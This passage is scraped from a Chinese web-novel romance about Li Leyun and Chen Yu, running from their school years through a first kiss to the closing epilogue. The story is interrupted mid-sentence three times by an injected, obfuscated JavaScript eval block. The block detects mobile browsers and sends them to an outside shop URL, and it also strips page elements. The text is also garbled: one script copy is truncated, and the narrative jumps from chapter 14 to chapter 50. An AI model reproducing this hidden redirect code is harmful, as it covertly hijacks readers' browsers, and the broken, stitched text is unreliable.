才五月中旬,她已经穿上了连衣裙,夕阳打在她白皙的小腿上,她晃啊晃,影子来回落在陈彧的膝盖上,陈彧低头去看,她的裙摆也垂了一截在他腿上。 黑色格纹,边缘一圈白色的蕾丝,在阳光的照射下,像灰色的世界里有人吹了一圈彩色泡泡。 李乐韵回到家,李修文问她去哪儿了。她把专辑藏在从陈彧那儿顺的推理小说里,说:“还能去哪儿,去找陈彧了呗。” “你马上要中考了,他也马上要期末考试,你收收心,少去打扰他。” 几个月后,发愤图强的李乐韵总算上卡着分数线考上了青中。她正大光明地想去找放暑假的陈彧时,李修文却又说:“你是考上了,可你马上是高中生了,高中是新的挑战,你最好暑假就开始预习,最关键的是陈彧高三了,他时间真的很紧张,你少去占用他复习的时间。” 许竹莹要冲重本,她爸妈管得又紧,她不敢去打扰就算了,可是陈彧成绩这么稳,李老师到底怕什么? 李乐韵不服,“我就要去。他已经够刻苦了,放假了还不能好好放松一下吗?” 李乐韵站在楼下大声喊陈彧的名字,阳光刺眼,她喊了几声没反应,额头上冒出一层薄汗,不耐烦地叉起腰。 “别喊了,吵死了,他不在家。”陈彧的堂弟陈彬彬从楼上探出头。 李乐韵看到这家伙就来气,转身就想走。 “喂,娇气包,乔令呢?” “说谁娇气包呢你!”要不是陈家在四楼,距离有点远,李乐韵一定会捡地上的石头往上扔。 陈彬彬托着下巴打量李乐韵的半身牛仔长裙,“不敢穿短裙了是吧。” 说到这个李乐韵就来气,冲上楼,想跟这小子理论。 她大腿上有个疤,是小时候跟陈彬彬打架时留下的。当时九岁的陈彬彬学他爸妈说话,说陈彧是累赘,妈死了爹不管,抢爷爷的退休工资花,自从他来,家里每个月要多吃一袋米一壶油,老头买烟的钱都要省下来给他买肉吃…… 李乐韵才十岁,也知道这话是放屁,陈彧瘦的跟竹竿似的,没见陈爷爷对他有多好。他喝的牛奶是他小姨送的,穿的衣服是他小姨买的,他爹手头要是宽裕了也对陈家人很大方。 连乔令他爸都说,哪家爷爷不贴孙子呢,陈彧叔叔一家太计较了。 就为这混蛋说的话,李乐韵拿羽毛球球拍狠狠抽了陈彬彬几下。陈彬彬气不过,捡起花坛里的石头块砸向李乐韵,这一砸,尖锐的石头划伤了李乐韵穿短裙的腿。 后来乔令把陈彬彬揍了一顿给李乐韵出气,自那以后,陈彬彬再也不敢在李乐韵面前张牙舞爪。 …… 李乐韵走到三楼转角,陈彬彬已经从楼上下来,他上来就对李乐韵吐了口吐沫,还好李乐韵躲得及时,否则还不知道要恶心多久。 “我看你是找死!”李乐韵当即往上冲,揪住陈彬彬的衣服下摆,把他往下拖。 陈彬彬抓紧栏杆,吃了一手掌的灰,“好男不跟女斗,你松手。” 陈彧他叔叔听见动静,站在楼上喊:“陈彬彬你给我死回来!” “你等着啊!”陈彬彬猛地甩开李乐韵的手,往她把台阶下推,然后转身就跑。 李乐韵受力一踉跄,跌坐在地上,手掌磨破了一小块皮。她是怕疼的人,心里气炸了,好想冲上去继续打,可是大人们都在家,她势单力薄根本打不过。 她委屈巴巴地走到楼下,陈彧正好从外面回来。陈彧的小姨来看他,又给他带了好多东西。 “什么时候来的?”陈彧冲着李乐韵笑,说着话,要把小姨带给他的好吃的分给她。 “陈彧,为什么每次我受伤的时候你都不能保护我!” “你怎么了?”陈彧皱起眉头,看见她背着手,走过去拉过她的手腕,只见虎口内侧往下有一道渗红的破皮,“怎么弄的?” 李乐韵觉得打不过陈彬彬是很丢人的事情,抿着唇不肯说。 “陈彬彬?”陈彧捧着她的掌心轻轻吹气,“我带你去消个毒。” “消毒重要还是报仇重要?”李乐韵没好气。 陈彧很心疼,说:“让你不疼最重要。” “我心里疼。”李乐韵指了指自己的心口。 陈彧看了半眼就撤回视线,执意带她去门口的药店消毒。 李乐韵坐在药店门口的凳子上气呼呼地给自己扇风,陈彧蹲在地上,小心翼翼地给她清理伤口。 “我要杀了陈彬彬!” “好,我帮你杀。”陈彧语气温柔,又朝她掌心轻轻吹气。 两人对视,李乐韵在陈彧的眼睛里看见微微闪烁的光芒,她眨了下眼睛,用手指轻轻地戳了下陈彧的脸颊,“你不许这样看我!” 陈彧立刻低下头,按紧她的手指,“那你别乱动。” 不一会儿,外面下起了毛毛雨,陈彧把李乐韵送回了家。他回到职工宿舍,叔叔一家还在,陈彬彬正坐在他的书桌前把玩李乐韵送给他的小闹钟。 “你小姨又给你带好吃的了?”陈彬彬闻声回头,站起来,想去分夺陈彧的零食。 陈彧一脚踹在他的大腿上,“你再敢惹李乐韵试试。” 陈彬彬从小就是戏精,哭着跑到客厅里,指着陈彧的卧室门说对他妈说:“哥哥又打我了!” “陈彧!”老头先发作起来。 “陈彧,你怎么回事?” “陈彧,你是哥哥!” 陈彬彬一味地讨伐陈彧,“你小时候就为了李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16531872|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐韵打我,你喜欢她啊?你自己打我还不够,还要喊乔令来打我……” 小时候,他先打了陈彬彬替李乐韵出气,大家不知道这事,所以乔令又打了他一顿。 陈彧懒得听,反锁房门塞上耳机,世界一下子清净。摇滚乐比他们更喧嚣,他心脏跟着鼓点震动,心想,对啊,他就是喜欢小师妹。 可惜小师妹心里只有为她打架出头的乔令。 李修文看见李乐韵手上的伤,不许她再去找陈彧。江晴也说,惹事精陈彬彬这学期都住在职工宿舍,她最好别去招惹那家人。 陈彧明白了老师和师母的意思,很少再来家里。高三实在是紧张,渐渐的,李乐韵发现陈彧的眼睛里只有成绩只有分数,在他面前变得安静起来。 高考结束,老陈一通电话打回来,让陈彧填完了志愿就回浙江的厂里给他帮忙,家里的生意渐渐好转,陈彧不好推脱,填完志愿的第二天就去了杭州。 李乐韵对那个暑假的记忆并不深。那一年青中抓得很紧,高一的暑假只有十五天,陈彧走了,许竹莹跟同学去外地旅游了,马上升高三的乔令决定接受他妈妈的安排出国念大学,早早地开始学习语言。 假期那几天,乔令回来了一次,陪李乐韵吃喝玩乐看电影,两人拍了好多照片,乔令都上传到空间,所有人可见。 李乐韵问他早恋的感觉如何,他说早分手了。但是他的眼神好伤感。 “乐韵,你知道喜欢一个人的感觉吗?”乔令问她。 李乐韵装傻,摇头。 “不知道最好。”乔令说希望她永远都这么无忧无虑。 李乐韵耸耸肩膀,“谢谢。” 可她是个长情的人啊。她三岁就认识的男孩正坐在她身边,她却不敢多看他一眼。 她更不愿意承认自己喜欢上一个不喜欢自己的人。 去大学报道之前,陈彧特地回了趟青阳。他带着浙江的特产来看老师和师母,李乐韵还没下晚自习,江晴正在给她准备夜宵。 “陈彧,你晚上多待一会儿,等乐韵回来,你好好跟她聊聊,让她把心思放在学习上,不去想那些不该想的事情。” 陈彧知道暑假乔令带她去玩了,电影院、游乐场、动物园都去过了。他也知道乔令跟他的女朋友分手了。 他问:“乐韵想什么了?” 江晴说:“天天听那些酸溜溜的情歌,他爱我他不爱我的,还把歌词抄在卷子上。” 陈彧不知道该如何接话,又问:“她最近成绩怎么样?” “成绩倒是还那样。” “好,我晚上跟她聊聊。” 李乐韵回到家,看见陈彧坐在客厅里,没好气地对他哼了声,“还知道回来啊,好意思嘛。” 陈彧笑笑,“给你带了东西,放在你书桌上了。” “我现在就去看!”她立马变脸。 是一整套柯南的手办,陈彧陪老陈去上海出差时特意买的。李乐韵的眼睛瞪得像桂圆,“天呐!我太爱你了陈彧!” 陈彧跟她一起把手办拿出来,放在她的窗台上,随手拿掉了乔令送给她的毛绒玩偶。 他对她说:“漫画还是可以看的,言情小说就别再看了。再熬两年就长大了,到时候想干嘛就干嘛,但是这两年,一定要收心,记住了吗?” “知道了,你好啰嗦啊,”李乐韵的手指在基德的帽子上乱点,“你的脑子里就只有学习,无聊死了!” “你还小,等你长大就会知道,我的脑子里不是只有学习。” “切。” 13.第 13 章 李乐韵的高考结束在一场暴雨后,雨过就天晴,她心情美丽放飞。 高三对她来说是人间炼狱,从此以后,她再也不想苦读了。她发誓要做一只自由的鸟。 成绩出来后,李修文一阵头疼,不停地给招生办的老师打电话,又一天问她三遍,愿不愿意再吃一年苦,复读。 李乐韵真的尽力了,她对自己的成绩很满意,她绝对不会复读。她不想在家听李修文的叹气声,躲去江晴的办公室。 江晴去坐诊她就一个人待着,妇产科的医护姐姐们投喂了她一些零食,她悠哉悠哉地边看宫斗剧边吃。 江晴得了闲,带她去吃好吃的,劝她下午乖乖回家去,“你这个分数在意料之中,你爸不是嫌你没考好,只是犯愁,到底要不要为了上一本让你去地区偏远的地方读书。” “我不要,我就要去北京上海,我要去大城市。” “去发达地区你上不了好学校。” “我这个分数本来就跟985和211无缘,上什么都一样。” “那一本跟二本还是有区别的啊,以后当敲门砖的重量不同。” 盘子里的排骨突然就不香了,李乐韵咬着纯牛奶的吸管,看向一个怀孕肚子隆起的护士姐姐,问江晴:“升学就业结婚生子,人生必须每个环节都圆满才有意义?” “你最近看什么东西呢,感悟这么多。” “老黄历。” “……” 李乐韵受够了学习,讨厌学习,再也不想学习。她还看了点《易经》,她八字还不错,命应该会一直好下去。 她对自己的未来很放心。 陈彧暑假回青阳时,李乐韵已经收到了录取通知书。 他没想到她最终还是妥协了,而且过程还很平静。 陈彧问为什么,李乐韵指了指李修文长出白发的鬓角,“才四十出头啊,里面起码有三根是因为我长的吧,对他来说,一本就是比二本好听,为了我亲爱的父亲大人,我愿意去亚热带多吃点热带水果。” “你完全没想过要复读吗?”陈彧问。 李乐韵“哼”一声,“你还要说几遍这个事情,你知不知道我最后这一年过得有多苦。” 他怎么可能不知道呢,他是过来人,又十分了解她的水平,她能有这个分数百分百是尽力了。 “我不是那个意思,我只是希望你能来北京,当然,也希望你能上个不错的学校。” “我才不去北京,北京干死了。我本来是要去上海的,上海多时尚啊,天气也舒服。” “可是我在北京。”陈彧一本正经地说。 李乐韵面对一双认真的眼睛,挤出一个不走心的微笑,“我这不是都没能去成嘛,跟我较什么劲啊。莹子还在南京呢,她怎么不叫我去南京。” 九月,李修文和江晴请假调班送李乐韵去报到。刚落地,湿热的天气就让一家三口感觉到不适应。 江晴还以为李乐韵会不乐意,结果她心情平和地努努嘴,说还好她是大干皮。 李乐韵就是这样,她从不为自己的选择后悔。哪怕选择是被动的,但选了就是选了,她尊重并享受自己的每一个决定。 宿舍六个女孩来自六个省。李乐韵觉得挺好,文化交融了,乡俗碰撞了,交友的体验又丰富了。 开学一周后,许竹莹问她过得如何,她说除了晒黑一切都好。许竹莹没想到她适应能力还很强,给她寄了修复霜,让她好好养护自己的皮肤。 陈彧也打来电话,问她军训辛不辛苦,有没有交到好朋友。她说苦死了,不适应,想退学。陈彧立马好生安慰一番,她听后捧腹大笑:“你个呆子,太小看我了吧。” 第三个月,李乐韵终于体会到一点孤单了,她最投缘的室友交了一个学长男朋友,现在每晚都要去约会,周末还会跟男朋友出去开房,经常两天都不在宿舍。 陈彧听见李乐韵说“开房”两个字的时候,心口莫名收紧,问她:“你现在应该什么都了解了吧,大学的生活、恋爱……” “当然了,我过完年都十九了。我们在宿舍什么都看。” “都看什么了?” 李乐韵奸笑,“看你们男的喜欢看的。” “……” 陈彧说这种东西浅学一下就可以了,借着话题问:“那你想谈恋爱吗?” “不。” “为什么?” 没有为什么,个人选择罢了。李乐韵再次重复:“就是不想。” 寒假回家,李乐韵窝在许竹莹的卧室里,听她跟她男朋友打电话。她看着许竹莹脸上甜蜜的表情,天啊好假,人怎么一谈恋爱就会变。 可是幸福的样子是美的。 “他对你好吗?”李乐韵问。 “会帮我打水、陪我上自习,考试周车接车送买早餐买夜宵,摩托车哈……” 就这样吗?李乐韵想,那这些陈彧就能为她做,只是他们俩不在一个地方罢了。 “那你们有没有那个过?”李乐韵问出最好奇的问题。 “当然啦,等你恋爱了就会知道,一切都是水到渠成。”许竹莹脸上大大方方的,又威胁她道:“不准告诉我爸妈!” 李乐韵耸耸肩膀。合着恋爱谈到后面就是上床呗。 许竹莹:“你们学校没帅哥?你不会还惦记乔令吧。” “我谁也不惦记。”乔令早就和那个叫舒羽的女孩和好了,异国都能继续爱,李乐韵想,那肯定是真爱。 她是想法很简单的人,小时候觉得可以和许竹莹乔令就这么一直走下去,她只需要这两个朋友就够了。情窦初开时,乔令是知根知底的人,长得好看,对她又好,喜欢上是自然而然的事情。 不过后来陈彧出现了,她好像也接受得很快。 其实陈彧对她比乔令对她更有耐心,更能承受她的“折磨”和依赖。但他们俩是不一样的人。她内心深处觉得乔令更有意思一点,更洒脱一点,陈彧有时候带给她的感觉……真的太像李修文了。 她一个讨厌说教的人,最好不要去喜欢上一个迂腐的书生。 许竹莹看李乐韵自得其乐也挺好,谈不谈恋爱反正她都开开心心。但是作为姐姐,还是非常诚恳地提醒她,如果遇到喜欢的,想恋爱了,那就一定要保护好自己。 春节陈彧和老陈都回来了,老陈给老头买了个电脑,教他怎么在网上打不花钱的麻将。老头在陈彧考上名校后对他有所改观,现在老陈的生意又略微有了点起色,他说话不再像从前那么淡漠。 这天一大家子都出门了,就留了陈彧一个人在家给老头修他坏掉的收音机,李乐韵闪进门,问陈彧昨天去家里怎么没去她房间跟她说话。 陈彧去给老师师母送礼的时候,江晴说李乐韵在午睡,于是他就没有打扰。她成年之后,他们之间相处,反倒不像小时候那么便利了。 小时候叫她小师妹,是妹妹的含义更多,她现在长大了,再叫小师妹,黏糊中带着暧昧,他念着怪,李修文听的时候也微微拧一下眉心。 李修文跟他说,不希望李乐韵太早恋爱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538791|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是希望她能把大部分时间都用在学习上,最好能读到研究生毕业。 老师的话萦绕在陈彧的心头,眼下他看着李乐韵质问他的这张嗔怪的可爱脸,反问她:“你希望我去你房间看你吗?” “废话,我们俩都多久没见了。” “你想见我?”陈彧放轻声音。 李乐韵觉得这人不对劲,别开脸,“你在修什么?” 陈彧让她坐在椅子上,给她看收音机的零部件,问她:“觉得上大学好玩吗?” “还行。”李乐韵拿起一个有孔的小圆片,闭上一只眼睛,从小孔里看陈彧的眼睛、鼻子、嘴巴。 “下学期就能考四级了吧?”陈彧随口一问。 “哎呀你烦死了。”四级对她来说还不是轻轻松松嘛,就非要聊学习? “平时有在看书吗?” “不看不看就不看。” 陈彧牵一下唇,拍了下她的头,“嫌我烦了?” “别跟我爸似的,我有一个爸爸就够了。”李乐韵扔了小圆片,抱起胳膊,“能修好嘛你。” 陈彧捣腾一翻,接好线,严丝合缝地把拆了半截的收音机组装好,连接电源,按下开关,接收音频,京剧响起来—— 他教我收余恨,免娇嗔,且自新,改性情…… “这是《锁麟囊》……” “管他是啥呢,我又听不懂。”李乐韵撑着脸摸一下被他修好的收音机,“你还真有两把刷子。” “我不是只会读书。当然,我会这些,确实是读书读来的。” “我就不读!” “不读就不读吧,”陈彧问她:“那你现在想做点什么?” 话音刚落,老陈和老头回来了,老陈正在和老头抱怨陈彧叔叔的事,“他也是,偷人偷到家里去了,岁数也不小了,怎么还随便认识个女的就往家里带,弟妹说回去的时候两个人衣服都没穿……也不怪她闹成这样。” 陈彧立刻把房门掩紧,把李乐韵的耳朵捂住。 “干嘛呀!”李乐韵最喜欢听八卦了,挣脱开,耳朵往门上凑。 “这是你能听的吗?”陈彧低声呵斥。 “是你叔胡搞,又不是你爹,有啥不能听的。” “你给我过来。”陈彧再次捂住李乐韵的耳朵,把她整个人往书桌那边提。 “陈彧!你烦死了!”李乐韵一边低声抱怨,一边咬陈彧的手腕。 陈彧吃痛,带了些力气控制她的两只手,低下头,脸逼近,“长本事了啊,会咬人了。” 离的这样近,声音这样轻,斥责都变成了调.情。李乐韵呼吸一滞,眼睫快速闪动,在陈彧的眼眸里看见紧张的自己,急急忙忙地咽下一口口水,“你……你……” “怎么了,还咬吗?”陈彧又靠得近了点。 李乐韵的心跳估计已经到180了,目光不自知地开始回避。 陈彧盯住她咬紧的下唇,克制地压下眼梢,松开她的手,覆上她的后脑勺,把她轻轻地带进怀里,让她的耳朵贴着他的心脏,手掌捂住她的另一只耳朵,“家丑就别听了,听点别的吧。” 咚咚、咚咚咚咚、咚咚咚咚咚咚咚…… 他不会……喜欢她吧? 产生这个念头的一瞬间,李乐韵心里燃爆一颗滚烫的星球。 灼热刺穿心脏,耳膜咚咚作响,他的胸口里好像有一个巨大的计时器,正在严肃且认真地进行宇宙播报—— 我喜欢你、我喜欢你、我喜欢你…… 小师妹,我喜欢你。 14.第 14 章 宇宙频道的声波过于惊心,李乐韵成了一条受到惊吓的小狗。 她冲出陈彧的卧室,冲出大门,跑下楼,跑进寒风阵阵的现实世界里,身后那条隐形的尾巴翘上翘下,三百六十度旋转,根本无法停歇。 抬头树叶在摇曳,低头水泥地在开裂,灰色的建筑是海市蜃楼,眼前的一切都像是虚构的、漂浮的、没有维度的。 难道这就是被人喜欢的感觉? 小狗确认自己身心绵软,恐怕没有力气再翻爬矮墙,顺着大路跑回了家。 李乐韵冲出房门后,老陈惊讶的目光落在了门里陈彧的身上,“她怎么在你房间里?” 陈彧不慌不忙地说:“她来找我玩,没想到你们突然回来了。” 老陈提醒道:“都这么大了还关起门来玩,不合适了。” 陈彧没应声,走到窗边,正好看见李乐韵的马尾甩过转角。 她跑什么? 刚刚,李乐韵一直没有动,是陈彧先放开了她。 万事都不能激进。他不能让她觉得他轻浮,也不能一口吃掉一整只兔子。 她才刚迈入成年人的世界,爱情对她来说只是一道模糊的影子。她说不定还在认为她对乔令那一点少年时期的好感,能称之为深刻。 她不过是为他哭过伤心过罢了,少女的心思跟真正的爱情根本不是一回事。 她是聪明的女孩,经过点拨之后会开窍的。这些年,她陈彧长陈彧短,她的心里不可能没有他。 工藤新一和小兰在窗台上对视,李乐韵静静地看着,突然在窗户上看见一张剑眉星目的脸。幻觉中,陈彧脸上的笑不再像从前那样,只是单一的温柔,而是有一点小心翼翼,有一点诚惶诚恐,和一点点不易察觉的城府。 这时幻想中的人发来一条消息:晚上要不要去看电影? 李乐韵猛地抽回神来。心跳就算是表白了?他开始追她了? 那她该怎么办?她要去喜欢一个爱管束她的书呆子吗?要跟他谈恋爱吗?要开始一场异地恋吗?要……告诉李老师吗? 不对不对不对,所有问题的先决条件是——她喜欢他吗? 李乐韵喜欢陈彧吗? 她脑子的大摆钟撞在了爬满苔藓的旧墙皮上,发出奇怪的声响。她不知道,她不确定。 得不到答案的她把陈彧的名字和乔令的名字写在一起。“彧”这个字她是练过的,写出来不算难看,而“乔令”这两个则像一个烙印,由于她过去写过太多遍,下笔的记忆更深刻,每一撇每一捺都透着那么点伤感的味道。 她拍一拍脑袋,确定自己不是花心的女孩。她这颗纯情的心脏里,暂时无法容纳下两个人。 于是她决定,先不跟陈彧去看电影。 不过无论如何,被人喜欢的感觉都是很棒的。她跑到洗手间的镜子前,哼着小曲梳头发,李乐韵啊李乐韵,你就该被人喜欢呀。 你这么好,他喜欢你是非常正常的事情。 书呆子很有品味嘛。 . 除夕夜,江晴值班,李修文烧了几道菜,让李乐韵带去医院里给她。李乐韵借了许竹莹的小电驴,饭菜放在车篓里,歪歪扭扭地上了路。 “会骑吗你。”乔令趁老乔带老婆去丈母娘家吃年夜饭,跑回家属院拿自己的东西。 “你吓死我了!”李乐韵一个急刹车停在乔令面前,看见他突然出现,心里十分惊喜,“你不是暑假才回来吗?” 异国恋让舒羽没有安全感,她几个月前又提了分手。乔令等不到暑假了,多打了一份工攒够了回国的机票钱,迫不及待地要去找她。他的旧手机在老乔那里,里面有很多他们以前互相发的短信,每一条都很珍贵,那或许能帮助他重新找回爱情。 李乐韵听完他这段经历,心里有些替他难受,抓住关键信息问他:“你妈妈不是发展的还不错吗,你怎么还要去打工?” “她嫁人了,老公……一般,日子过得也就那样。” 李乐韵叹气,“早知道当初就不出去了,留在国内还能……还能跟你女朋友好好在一起。” 乔令出国是为了跟老乔赌气,现在也后悔,可是自己做的决定就得自己承担,他发誓要混出个人样儿来。 “你等我回去拿样东西,我送你去医院。”他对李乐韵说。 李乐韵停了车,坐在大门口等,回头看靠东边的那栋楼,不一会儿乔令家的灯就亮了。乔令的卧室靠北,很小,如今已经成了杂物间。她料想他可能没那么快找到他要的东西,塞上耳机听歌,把冰凉的手藏进口袋里。 几分钟后,身前来了一个人弯腰看着她,手掌落在她的头顶。 是陈彧。 “怎么坐在这里,不冷吗?”陈彧把李乐韵羽绒服上的帽子给她戴起来,捂住她的耳朵,见她没有手套,又把自己的手套摘下来给她戴上。 李乐韵笑嘻嘻地看着自己比他小很多的手藏进他大大的羊毛手套里,说:“替李老师给江医生传递爱心呗。” “你要去医院?”陈彧看一眼旁边许竹莹的电瓶车,“你会骑?我送你吧。” “……不用!我可以!” “那你骑一个我看看。” 李乐韵立马拍拍屁股坐上车,拧一下钥匙,捏一下手刹…… 陈彧立刻按住她的车把,“好了,我带你去吧,反正我也没事。” “真的不用,你去我家吧,刚好我堂哥来了,你们不是很久没见了嘛。” 陈彧跟她堂哥只是见过几次,算聊得来,但是不熟,私下也没有联系过。他觉得李乐韵不太对劲,问她:“既然要去,怎么坐在这里发呆?” 李乐韵忽然想,告诉他她要跟乔令一起去又如何,他们俩只是朋友,她跟乔令也只是朋友,他们又不是在搞三角恋! “乔令让我在这里等他的。”她的口气坦坦荡荡。 陈彧看着她的眼睛,唇角拉开一个微弱的弧度,轻声说:“这样啊,他回来怎么不告诉我。” “我也是刚刚碰到的。他……可能在国外过得不太好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541991|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈彧当初借给乔令的钱,乔令没过多久就还给了他。这家伙是言出必行的人,又有些傲气在身上,出国时意气风发,觉得自己一定会出人头地,可如果去到那边,发现并不如意,那现在选择不联络大家也在情理之中。 “那你要等多久?”陈彧沉声问道。 “他回去找东西了。” “那我陪你等。” 李乐韵觉得怪怪的,可又找不到请走陈彧的理由。她有点不想说话,为了不尴尬,摘了一只耳机递给陈彧。 陈彧拒绝跟她一起听歌,他说他不听酸溜溜的情歌。 “哪里酸了,你才酸呢。”李乐韵非要把耳机塞进他的耳朵。 陈彧躲闪不开,嗓音清澈绵长的女歌手正好在唱“我不是一定要你回来,只是当又把记忆翻开……” 他拧起眉心。 听完整整三首歌,乔令还没回来,李乐韵的脸上却没有任何不耐烦。她就那么安静地坐着,捧着脸,轻轻地跟着音乐的节奏摇晃脑袋。 陈彧看着她的侧脸,想起她对自己的态度,别说让她等十分钟了,就算只等三分钟,中间她也不知道要催多少遍,要叫多少次他的名字。 “你还是喜欢乔令吗?” 陈彧低沉的声音浸在寒风里,混在传进耳朵的情歌里,李乐韵突然打了个寒颤。 她呆呆地看着陈彧,记忆拉回那个雪天,她靠在他背上留下一大滩泪痕,最后他明明什么也没问。 “我……” 她刚开口念出第一个字,陈彧突然凑过去,吻住了她微微张开的嘴唇。 冰冰凉凉的两片唇瓣,轻柔地贴在一起。李乐韵的眼睛被一股神奇的电流涌入,像昏昏欲睡的晚自习,班主任突然拿来一盏刺眼的白炽灯,闭眼是惊慌失措的自我保护。 这是干什么?他在做什么?他怎么可以这样呢! 这是接吻?原来这就是亲嘴的感觉……可是,怎么像是二氧化碳中毒…… 触到李乐韵的唇珠时,陈彧心上那几道细小的裂痕顷刻间自动修复。 这一刻发生在他的二十一岁,她的十九岁,比他预想中的时间要晚了一些。 这是莽撞的吗?是失去理智的吗? 都不是。 只要他能掌控结果,就不存在时机不对。 如果她一定要跟乔令一起骑这辆车去医院,如果她又要有机会抒怀她的少女心事,那就带着跟他接过吻的复杂心情吧。 决定推开陈彧是因为脑袋真的发晕了。李乐韵一掌推开后仍不解气,气呼呼地对陈彧拳打脚踢,“你怎么能这样,你怎么能这样呢……” “对不起,我失控了。” “你……”李乐韵看着他淡定的表情和微红的嘴唇,“你这样很让人讨厌知道吗?我不喜欢你这样。” “好,对不起,下次不会了。” “我不接受你的道歉!”下次……他还想有下次?李乐韵蹭地从地上站起来,“陈彧,你给我滚开,我以后再也不想看见你。” 第50章 尾声 第50章 尾声 永 李乐韵发现陈彧是个吃硬不吃软的家伙。他的大脑长得很特别, 里面有一个分区异于常人。 如果她整天对他黏黏糊糊,宝贝长哥哥短的,他就一定会把他四十岁的灵魂拿出来, 告诉她, 要克制要节制,两情若是久长时, 又岂在朝朝暮暮。 但如果她戴上高冷的面具, 减少对他勾手指的次数, 那他大脑的这块特殊分区就会飞快地开始运转,随后产生一万个“女朋友是不是不爱我了”的焦虑想法。 有一天夜里, 李乐韵的身体很开心, 又在颠簸的时候对他说出那句“我真的爱死你了”, 他闷闷不乐地结束,问她:“难道我别的地方就没有可取之处吗?” 李乐韵说有很多啊, 比如他会做饭、会做家务、温柔体贴之类的。他非常不满意这个答案,说这些都是功能性的优点,跟人格魅力毫无关系。 “你是希望我崇拜你吗?”李乐韵搞不懂他纠结的点到底在哪里。 “我希望你不只是在高潮时才会因为我心跳加速……” “你读书读傻了吧。最讨厌你说话文绉绉的,矫情死了。”李乐韵数落他一通后,树袋熊抱树一般抱着他睡着了。 爱到底是什么呢? 李乐韵拒绝一切高谈阔论,在她看来,爱就是陪伴,是一冬一夏一餐一饭, 是“早上好”和“晚安”, 是“我想和你在一起”和“我们永远不分开”。 她的恋爱高需求就是她爱的体现, 她现在一天见不到陈彧就很难受,超过四个小时不跟陈彧联络就会觉得心里缺点什么。 她觉得老古板那套“不在朝朝暮暮”的理论简直就是狗屁。 这天早上陈彧又迟到了,他很后悔为了让李乐韵在赵青青面前为他正名, 夜里付出了太多。 赵青青和顾昀朝他投来意味深长的目光,他顶着他的死人脸最后一个踏进会议室的门。 下午顾昀来送会议纪要,陈彧装作不经意地问他:“赵青青有没有说过喜欢你哪些地方?” “……”顾昀被问住了,这需要说吗? “领导,你不用没有安全感……” “好了,你出去吧。” 李乐韵并不是无心渣女,她还是打算思考一个温暖的回答来抚慰一下她的书呆子。 她发微信问陈彧:你今年一共迟到过几次? 陈彧:? 她写好稿子后,发来一条语音:你以前从来不迟到的,你也从来不睡懒觉,除了备考,你还从来不熬夜,你不喜欢在下面、不喜欢在浴室、做前要洗澡、事后要复盘,你讨厌喝奶茶、讨厌我在你开车的时候亲你、讨厌我在外人面前对你动手动脚……你的禁忌真的好多!可是现在呢,这些好像都被我给打破了。而我从前懒惰、散漫、不爱学习不求上进,自从被你给甩了,我突然脑子抽风,现在很多东西也正在向你靠近。你不是学霸嘛,不如总结一下这是为什么。要我来说,就是我们各自的心理秩序和人生秩序都被对方给打破了,我们为了彼此妥协和改变,这就是爱的渗透……好了六十秒快到了,你品去吧,特地发的是语音,方便你反复聆听学习做笔记,书呆子! 时空穿梭,这何尝不是对那通违心电话的回应呢。后来陈彧真的反复聆听了好多遍. 赶在炎夏来临之前,在田蕾的帮助下,李乐韵和陈彧在浦东找到一个地理位置折中的新房子,开始陆续搬家。 养乐多本来不愿意挪窝,但是姐姐和爸爸又领养了一只小橘去新家陪她,她一下子就心动。小橘是个调皮的妹妹,目前她们俩还算相处融洽。 李乐韵入职了新公司,除了又要记很多类似的英文名字之外,她一切都很适应。她很快就找到了新的饭搭子,新的上司也依然是一位很有野心的女士,她觉得自己的运气真的很好。当然,她也足够努力。 陈彧研究了李乐韵上班的路线后,打算给她买一辆小车,配合她都市丽人的腔调。这天他们去看车,老陈和陈杨也来了。 老陈跟陈杨阴阳怪气道,他的宝马陈彧开了半年,公里数超他们的车三倍,不跑长途能开这么多公里,八成是小李子老折腾他去浦西陪她。现在儿子自己不舍得买新车,钱都用来给女朋友买,这个小李子真是会拿捏人。 陈杨听后就一句话:“以后咱别做那种讨人嫌的公公好吗?” 李乐韵觉得老陈心疼自己儿子的点是有问题的,他是哪只眼睛看见她欺负陈彧了?她阴森森地凑到老陈跟前:“陈叔,听说你之前想让陈彧的领导给他介绍个上海本地的女朋友来着,那我悄悄告诉你哈,女方家庭条件稍微好点的,陈彧这样的进门之后就是赘婿……” “你啥意思?我儿子是哪点不如人?” “我没什么意思,就是想告诉您,陈彧跟了我,起码我跟他两个人是平等的。” 老陈觉得她惯会花言巧语,轻哼一声,“乐韵啊,你要是真聪明,就不要只管陈彧一个人,你什么时候能拿捏你们家李老师,那才算是真本事。陈彧心疼你,你也要心疼他啊对不对。” 